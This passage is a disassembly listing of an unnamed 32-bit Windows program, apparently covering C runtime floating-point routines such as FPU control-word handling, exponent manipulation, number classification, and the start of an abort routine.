loc_419B11:				; CODE XREF: sub_4198BA+252j
		mov	eax, [ecx]
		and	eax, 3
		xor	ebx, ebx
		sub	eax, ebx
		mov	edx, 0FFFFF3FFh
		jz	short loc_419B50
		dec	eax
		jz	short loc_419B42
		dec	eax
		jz	short loc_419B32
		dec	eax
		jnz	short loc_419B52
		or	dword ptr [esi], 0C00h
		jmp	short loc_419B52
; ---------------------------------------------------------------------------

loc_419B32:				; CODE XREF: sub_4198BA+26Bj
		mov	eax, [esi]
		and	eax, 0FFFFFBFFh
		or	eax, 800h

loc_419B3E:				; CODE XREF: sub_4198BA+294j
		mov	[esi], eax
		jmp	short loc_419B52
; ---------------------------------------------------------------------------

loc_419B42:				; CODE XREF: sub_4198BA+268j
		mov	eax, [esi]
		and	eax, 0FFFFF7FFh
		or	eax, 400h
		jmp	short loc_419B3E
; ---------------------------------------------------------------------------

loc_419B50:				; CODE XREF: sub_4198BA+265j
		and	[esi], edx

loc_419B52:				; CODE XREF: sub_4198BA+26Ej
					; sub_4198BA+276j ...
		mov	eax, [ecx]
		shr	eax, 2
		and	eax, 7
		sub	eax, ebx
		jz	short loc_419B73
		dec	eax
		jz	short loc_419B68
		dec	eax
		jnz	short loc_419B7E
		and	[esi], edx
		jmp	short loc_419B7E
; ---------------------------------------------------------------------------

loc_419B68:				; CODE XREF: sub_4198BA+2A5j
		mov	eax, [esi]
		and	eax, edx
		or	eax, 200h
		jmp	short loc_419B7C
; ---------------------------------------------------------------------------

loc_419B73:				; CODE XREF: sub_4198BA+2A2j
		mov	eax, [esi]
		and	eax, edx
		or	eax, 300h

loc_419B7C:				; CODE XREF: sub_4198BA+2B7j
		mov	[esi], eax

loc_419B7E:				; CODE XREF: sub_4198BA+2A8j
					; sub_4198BA+2ACj
		cmp	[ebp+arg_18], ebx
		jz	short loc_419B8A
		fld	dword ptr [ecx+50h]
		fstp	dword ptr [edi]
		jmp	short loc_419B8F
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_4198BA+2C7j
		fld	qword ptr [ecx+50h]
		fstp	qword ptr [edi]

loc_419B8F:				; CODE XREF: sub_4198BA+2CEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4198BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B94	proc near		; CODE XREF: sub_419EBB+21p

var_28		= qword	ptr -28h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, eax
		and	esi, 1Fh
		inc	ebx
		test	al, 8
		mov	[ebp+var_4], esi
		jz	short loc_419BC2
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_419BC2
		push	ebx
		call	sub_41A0F8
		pop	ecx
		and	esi, 0FFFFFFF7h
		jmp	loc_419D53
; ---------------------------------------------------------------------------

loc_419BC2:				; CODE XREF: sub_419B94+18j
					; sub_419B94+1Dj
		test	al, 4
		jz	short loc_419BDC
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_419BDC
		push	4
		call	sub_41A0F8
		pop	ecx
		and	esi, 0FFFFFFFBh
		jmp	loc_419D53
; ---------------------------------------------------------------------------

loc_419BDC:				; CODE XREF: sub_419B94+30j
					; sub_419B94+36j
		test	al, bl
		jz	loc_419C7E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_419C7E
		push	8
		call	sub_41A0F8
		mov	eax, [ebp+arg_8]
		pop	ecx
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_419C56
		cmp	eax, 400h
		jz	short loc_419C40
		cmp	eax, 800h
		jz	short loc_419C2A
		cmp	eax, ecx
		jnz	short loc_419C76
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		fld	dbl_4240A8
		test	ah, 5
		jnp	short loc_419C74
		jmp	short loc_419C72
; ---------------------------------------------------------------------------

loc_419C2A:				; CODE XREF: sub_419B94+7Aj
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		test	ah, 5
		jnp	short loc_419C64
		fld	dbl_4240A8
		jmp	short loc_419C72
; ---------------------------------------------------------------------------

loc_419C40:				; CODE XREF: sub_419B94+73j
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		test	ah, 5
		jp	short loc_419C6C
		fld	dbl_4240A8
		jmp	short loc_419C74
; ---------------------------------------------------------------------------

loc_419C56:				; CODE XREF: sub_419B94+6Cj
		fldz
		mov	ecx, [ebp+arg_4]
		fcomp	qword ptr [ecx]
		fnstsw	ax
		test	ah, 5
		jp	short loc_419C6C

loc_419C64:				; CODE XREF: sub_419B94+A2j
		fld	dbl_424098
		jmp	short loc_419C74
; ---------------------------------------------------------------------------

loc_419C6C:				; CODE XREF: sub_419B94+B8j
					; sub_419B94+CEj
		fld	dbl_424098

loc_419C72:				; CODE XREF: sub_419B94+94j
					; sub_419B94+AAj
		fchs

loc_419C74:				; CODE XREF: sub_419B94+92j
					; sub_419B94+C0j ...
		fstp	qword ptr [ecx]

loc_419C76:				; CODE XREF: sub_419B94+7Ej
		and	esi, 0FFFFFFFEh
		jmp	loc_419D53
; ---------------------------------------------------------------------------

loc_419C7E:				; CODE XREF: sub_419B94+4Aj
					; sub_419B94+54j
		test	al, 2
		jz	loc_419D53
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_419D53
		xor	esi, esi
		test	al, 10h
		jz	short loc_419C98
		mov	esi, ebx

loc_419C98:				; CODE XREF: sub_419B94+100j
		fldz
		push	edi
		mov	edi, [ebp+arg_4]
		fcomp	qword ptr [edi]
		fnstsw	ax
		test	ah, 44h
		jnp	loc_419D3D
		fld	qword ptr [edi]
		lea	eax, [ebp+var_8]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+28h+var_28]
		call	sub_41A00B
		mov	ecx, [ebp+var_8]
		fstp	[ebp+var_10]
		add	ecx, 0FFFFFA00h
		add	esp, 0Ch
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_419CDF
		fld	[ebp+var_10]
		mov	esi, ebx
		fmul	ds:dbl_41FDE8
		jmp	short loc_419D33
; ---------------------------------------------------------------------------

loc_419CDF:				; CODE XREF: sub_419B94+13Cj
		fldz
		fcomp	[ebp+var_10]
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_419CEF
		mov	edx, ebx
		jmp	short loc_419CF1
; ---------------------------------------------------------------------------

loc_419CEF:				; CODE XREF: sub_419B94+155j
		xor	edx, edx

loc_419CF1:				; CODE XREF: sub_419B94+159j
		movzx	eax, byte ptr [ebp+var_10+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	word ptr [ebp+var_10+6], ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_419D2A
		sub	eax, ecx

loc_419D0A:				; CODE XREF: sub_419B94+194j
		test	byte ptr [ebp+var_10], bl
		jz	short loc_419D15
		test	esi, esi
		jnz	short loc_419D15
		mov	esi, ebx

loc_419D15:				; CODE XREF: sub_419B94+179j
					; sub_419B94+17Dj
		shr	dword ptr [ebp+var_10],	1
		test	byte ptr [ebp+var_10+4], bl
		jz	short loc_419D24
		or	dword ptr [ebp+var_10],	80000000h

loc_419D24:				; CODE XREF: sub_419B94+187j
		shr	dword ptr [ebp+var_10+4], 1
		dec	eax
		jnz	short loc_419D0A

loc_419D2A:				; CODE XREF: sub_419B94+172j
		test	edx, edx
		jz	short loc_419D36
		fld	[ebp+var_10]
		fchs

loc_419D33:				; CODE XREF: sub_419B94+149j
		fstp	[ebp+var_10]

loc_419D36:				; CODE XREF: sub_419B94+198j
		fld	[ebp+var_10]
		fstp	qword ptr [edi]
		jmp	short loc_419D3F
; ---------------------------------------------------------------------------

loc_419D3D:				; CODE XREF: sub_419B94+111j
		mov	esi, ebx

loc_419D3F:				; CODE XREF: sub_419B94+1A7j
		test	esi, esi
		pop	edi
		jz	short loc_419D4C
		push	10h
		call	sub_41A0F8
		pop	ecx

loc_419D4C:				; CODE XREF: sub_419B94+1AEj
		and	[ebp+var_4], 0FFFFFFFDh
		mov	esi, [ebp+var_4]

loc_419D53:				; CODE XREF: sub_419B94+29j
					; sub_419B94+43j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_419D6A
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_419D6A
		push	20h
		call	sub_41A0F8
		pop	ecx
		and	esi, 0FFFFFFEFh

loc_419D6A:				; CODE XREF: sub_419B94+1C3j
					; sub_419B94+1C9j
		xor	eax, eax
		test	esi, esi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419B94	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D75	proc near		; CODE XREF: sub_419DCA+6Cp
					; sub_419DCA+91p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_419D91
		jle	short locret_419D9C
		cmp	eax, 3
		jg	short locret_419D9C
		call	sub_40FCB4
		mov	dword ptr [eax], 22h
		retn
; ---------------------------------------------------------------------------

loc_419D91:				; CODE XREF: sub_419D75+7j
		call	sub_40FCB4
		mov	dword ptr [eax], 21h

locret_419D9C:				; CODE XREF: sub_419D75+9j
					; sub_419D75+Ej
		retn
sub_419D75	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D9D	proc near		; CODE XREF: sub_419EBB+55p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_419DA9
		push	5
		jmp	short loc_419DBF
; ---------------------------------------------------------------------------

loc_419DA9:				; CODE XREF: sub_419D9D+6j
		test	al, 8
		jz	short loc_419DB1
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_419DB1:				; CODE XREF: sub_419D9D+Ej
		test	al, 4
		jz	short loc_419DB9
		push	2
		jmp	short loc_419DBF
; ---------------------------------------------------------------------------

loc_419DB9:				; CODE XREF: sub_419D9D+16j
		test	al, 1
		jz	short loc_419DC1
		push	3

loc_419DBF:				; CODE XREF: sub_419D9D+Aj
					; sub_419D9D+1Aj
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_419DC1:				; CODE XREF: sub_419D9D+1Ej
		movzx	eax, al
		and	eax, 2
		add	eax, eax
		retn
sub_419D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419DCA(int,int,int,int,int,int,double,int)

sub_419DCA	proc near		; CODE XREF: sub_419E68+2Ap
					; sub_419EBB+87p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		xor	eax, eax

loc_419DD2:				; CODE XREF: sub_419DCA+18j
		mov	ecx, dword_423FB0[eax*8]
		cmp	ecx, [ebp+arg_4]
		jz	short loc_419E42
		inc	eax
		cmp	eax, 1Dh
		jl	short loc_419DD2
		xor	eax, eax

loc_419DE6:				; CODE XREF: sub_419DCA+7Fj
		test	eax, eax
		mov	[ebp+var_1C], eax
		jz	short loc_419E4B
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41A0D1
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_419838
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419E3C
		push	esi
		call	sub_419D75
		pop	ecx

loc_419E3C:				; CODE XREF: sub_419DCA+69j
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_419E42:				; CODE XREF: sub_419DCA+12j
		mov	eax, off_423FB4[eax*8]
		jmp	short loc_419DE6
; ---------------------------------------------------------------------------

loc_419E4B:				; CODE XREF: sub_419DCA+21j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41A0D1
		push	[ebp+arg_0]
		call	sub_419D75
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_419DCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419E68(int,double,int)

sub_419E68	proc near		; CODE XREF: sub_414BFF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_423FA0, 0
		jnz	short loc_419E9C
		push	[ebp+arg_C]	; int
		fld	[ebp+arg_4]
		sub	esp, 18h
		fstp	[esp+1Ch+var_C]
		fldz
		fstp	[esp+1Ch+var_14]
		fld	[ebp+arg_4]
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_419DCA
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419E9C:				; CODE XREF: sub_419E68+Aj
		call	sub_40FCB4
		push	0FFFFh
		push	[ebp+arg_C]
		mov	dword ptr [eax], 21h
		call	sub_41A0D1
		fld	[ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_419E68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419EBB(int,int,double,double,int)

sub_419EBB	proc near		; CODE XREF: sub_414BFF:loc_414CC4p

var_9C		= qword	ptr -9Ch
var_94		= qword	ptr -94h
var_8C		= qword	ptr -8Ch
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_40		= dword	ptr -40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF0h
		sub	esp, 80h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+80h+var_4], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_419B94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419F0D
		and	[esp+80h+var_40], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [esp+98h+var_80]
		push	eax
		call	sub_4198BA
		add	esp, 1Ch

loc_419F0D:				; CODE XREF: sub_419EBB+2Bj
		push	[ebp+arg_0]
		call	sub_419D9D
		add	esp, 4
		cmp	dword_423FA0, 0
		jnz	short loc_419F4C
		test	eax, eax
		jz	short loc_419F4C
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		sub	esp, 18h
		fstp	[esp+9Ch+var_8C]
		fldz
		fstp	[esp+9Ch+var_94]
		fld	[ebp+arg_8]
		fstp	[esp+9Ch+var_9C]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_419DCA
		add	esp, 24h
		jmp	short loc_419F66
; ---------------------------------------------------------------------------

loc_419F4C:				; CODE XREF: sub_419EBB+64j
					; sub_419EBB+68j
		push	eax
		call	sub_419D75
		mov	[esp+84h+var_84], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41A0D1
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx

loc_419F66:				; CODE XREF: sub_419EBB+8Fj
		mov	ecx, [esp+80h+var_4]
		xor	ecx, esp
		call	sub_40AFEE
		mov	esp, ebp
		pop	ebp
		retn
sub_419EBB	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_419F75(double)

sub_419F75	proc near		; CODE XREF: sub_414BFF:loc_414C85p

var_8		= qword	ptr -8
arg_0		= qword	ptr  4

		push	ecx
		push	ecx
		fld	[esp+8+arg_0]
		frndint
		fstp	[esp+8+var_8]
		fld	[esp+8+var_8]
		pop	ecx
		pop	ecx
		retn
sub_419F75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419F86(double,int)

sub_419F86	proc near		; CODE XREF: sub_41A00B+79p
					; sub_41A00B+8Ep

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		fld	[ebp+arg_0]
		mov	ecx, dword ptr [ebp+arg_0+6]
		fstp	[ebp+var_8]
		add	eax, 3FEh
		shl	eax, 4
		and	ecx, 0FFFF800Fh
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_419F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FB0	proc near		; CODE XREF: sub_414BFF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_419FC8
		cmp	[ebp+arg_0], edx
		jnz	short loc_419FDB
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419FC8:				; CODE XREF: sub_419FB0+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_419FDB
		cmp	[ebp+arg_0], edx
		jnz	short loc_419FDB
		push	2

loc_419FD8:				; CODE XREF: sub_419FB0+3Cj
					; sub_419FB0+55j
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419FDB:				; CODE XREF: sub_419FB0+11j
					; sub_419FB0+1Fj ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_419FEE
		push	3
		jmp	short loc_419FD8
; ---------------------------------------------------------------------------

loc_419FEE:				; CODE XREF: sub_419FB0+38j
		cmp	cx, 7FF0h
		jnz	short loc_41A007
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41A003
		cmp	[ebp+arg_0], edx
		jz	short loc_41A007

loc_41A003:				; CODE XREF: sub_419FB0+4Cj
		push	4
		jmp	short loc_419FD8
; ---------------------------------------------------------------------------

loc_41A007:				; CODE XREF: sub_419FB0+43j
					; sub_419FB0+51j
		xor	eax, eax
		pop	ebp
		retn
sub_419FB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A00B(double,int)

sub_41A00B	proc near		; CODE XREF: sub_419B94+122p

var_C		= qword	ptr -0Ch
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		fldz
		fcom	[ebp+arg_0]
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41A021
		xor	edx, edx
		jmp	loc_41A0B3
; ---------------------------------------------------------------------------

loc_41A021:				; CODE XREF: sub_41A00B+Dj
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41A08E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41A039
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41A08E

loc_41A039:				; CODE XREF: sub_41A00B+27j
		fcomp	[ebp+arg_0]
		mov	edx, 0FFFFFC03h
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_41A04D
		xor	eax, eax
		inc	eax
		jmp	short loc_41A065
; ---------------------------------------------------------------------------

loc_41A04D:				; CODE XREF: sub_41A00B+3Bj
		xor	eax, eax
		jmp	short loc_41A065
; ---------------------------------------------------------------------------

loc_41A051:				; CODE XREF: sub_41A00B+5Ej
		shl	dword ptr [ebp+arg_0+4], 1
		test	dword ptr [ebp+arg_0], 80000000h
		jz	short loc_41A061
		or	dword ptr [ebp+arg_0+4], 1

loc_41A061:				; CODE XREF: sub_41A00B+50j
		shl	dword ptr [ebp+arg_0], 1
		dec	edx

loc_41A065:				; CODE XREF: sub_41A00B+40j
					; sub_41A00B+44j
		test	byte ptr [ebp+arg_0+6],	10h
		jz	short loc_41A051
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41A07B
		or	word ptr [ebp+arg_0+6],	8000h

loc_41A07B:				; CODE XREF: sub_41A00B+68j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		call	sub_419F86
		add	esp, 0Ch
		jmp	short loc_41A0B3
; ---------------------------------------------------------------------------

loc_41A08E:				; CODE XREF: sub_41A00B+1Ej
					; sub_41A00B+2Cj
		push	ecx		; int
		fstp	st
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		call	sub_419F86
		mov	edx, dword ptr [ebp+arg_0+6]
		shr	edx, 4
		and	edx, 7FFh
		add	esp, 0Ch
		sub	edx, 3FEh

loc_41A0B3:				; CODE XREF: sub_41A00B+11j
					; sub_41A00B+81j
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		pop	ebp
		retn
sub_41A00B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A0BA	proc near		; CODE XREF: sub_4198BA+DCp

var_4		= word ptr -4

		push	ecx
		fstsw	[esp+4+var_4]
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_41A0BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A0C5	proc near		; CODE XREF: sub_4198BA:loc_419ACDp

var_4		= word ptr -4

		push	ecx
		fnstsw	[esp+4+var_4]
		fnclex
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_41A0C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0D1	proc near		; CODE XREF: sub_414BFF+13p
					; sub_414BFF+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		not	eax
		and	eax, [ebp+var_4]
		or	eax, ecx
		movzx	eax, ax
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41A0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A0F8	proc near		; CODE XREF: sub_419B94+20p
					; sub_419B94+3Ap ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  4

		push	ecx
		push	ecx
		mov	cl, byte ptr [esp+8+arg_0]
		test	cl, 1
		jz	short loc_41A10E
		fld	tbyte_4240C0
		fistp	[esp+8+arg_0]
		wait

loc_41A10E:				; CODE XREF: sub_41A0F8+9j
		test	cl, 8
		jz	short loc_41A123
		fstsw	ax
		fld	tbyte_4240C0
		fstp	[esp+8+var_8]
		wait
		fstsw	ax

loc_41A123:				; CODE XREF: sub_41A0F8+19j
		test	cl, 10h
		jz	short loc_41A132
		fld	tbyte_4240CC
		fstp	[esp+8+var_8]
		wait

loc_41A132:				; CODE XREF: sub_41A0F8+2Ej
		test	cl, 4
		jz	short loc_41A140
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_41A140:				; CODE XREF: sub_41A0F8+3Dj
		test	cl, 20h
		jz	short loc_41A14B
		fldpi
		fstp	[esp+8+var_8]
		wait

loc_41A14B:				; CODE XREF: sub_41A0F8+4Bj
		pop	ecx
		pop	ecx
		retn
sub_41A0F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A14E	proc near		; CODE XREF: sub_41D517+243p

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421FE0
		call	__SEH_prolog4
		xor	eax, eax
		cmp	dword_434E20, eax
		jz	short loc_41A1BA
		test	byte ptr [ebp+arg_0], 40h
		jz	short loc_41A1B2
		cmp	dword_4240D8, eax
		jz	short loc_41A1B2
		mov	[ebp+ms_exc.disabled], eax
		ldmxcsr	[ebp+arg_0]
		jmp	short loc_41A1A9
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_41A193
		cmp	eax, 0C000001Dh
		jz	short loc_41A193
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41A193:				; CODE XREF: sub_41A14E+39j
					; sub_41A14E+40j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	dword_4240D8, 0
		and	[ebp+arg_0], 0FFFFFFBFh
		ldmxcsr	[ebp+arg_0]

loc_41A1A9:				; CODE XREF: sub_41A14E+2Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		jmp	short loc_41A1BA
; ---------------------------------------------------------------------------

loc_41A1B2:				; CODE XREF: sub_41A14E+1Aj
					; sub_41A14E+22j
		and	[ebp+arg_0], 0FFFFFFBFh
		ldmxcsr	[ebp+arg_0]

loc_41A1BA:				; CODE XREF: sub_41A14E+14j
					; sub_41A14E+62j
		call	__SEH_epilog4
		retn
sub_41A14E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1C0	proc near		; CODE XREF: sub_41A211+Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		movzx	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	dl, [ebp+arg_C]
		test	[ecx+eax+1Dh], dl
		jnz	short loc_41A1FF
		cmp	[ebp+arg_8], 0
		jz	short loc_41A1F9
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, [ebp+arg_8]
		jmp	short loc_41A1FB
; ---------------------------------------------------------------------------

loc_41A1F9:				; CODE XREF: sub_41A1C0+25j
		xor	eax, eax

loc_41A1FB:				; CODE XREF: sub_41A1C0+37j
		test	eax, eax
		jz	short loc_41A202

loc_41A1FF:				; CODE XREF: sub_41A1C0+1Fj
		xor	eax, eax
		inc	eax

loc_41A202:				; CODE XREF: sub_41A1C0+3Dj
		cmp	[ebp+var_4], 0
		jz	short locret_41A20F
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_41A20F:				; CODE XREF: sub_41A1C0+46j
		leave
		retn
sub_41A1C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A211	proc near		; CODE XREF: sub_414E3F+3Fp
					; sub_414F77+53p ...

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		push	0
		call	sub_41A1C0
		add	esp, 10h
		retn
sub_41A211	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A224	proc near		; CODE XREF: sub_4153D9+56p
					; sub_415954+59p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		inc	eax
		cmp	[esp+arg_0], 0
		jnz	short locret_41A230
		xor	eax, eax

locret_41A230:				; CODE XREF: sub_41A224+8j
		retn
sub_41A224	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2A8h


sub_41A231	proc near		; CODE XREF: sub_416114:loc_416142p

var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+2A8h+var_4], eax
		test	byte_4240DC, 1
		push	esi
		jz	short loc_41A25E
		push	0Ah
		call	sub_413D84
		pop	ecx

loc_41A25E:				; CODE XREF: sub_41A231+23j
		call	sub_417F2F
		test	eax, eax
		jz	short loc_41A26F
		push	16h
		call	sub_417F3C
		pop	ecx

loc_41A26F:				; CODE XREF: sub_41A231+34j
		test	byte_4240DC, 2
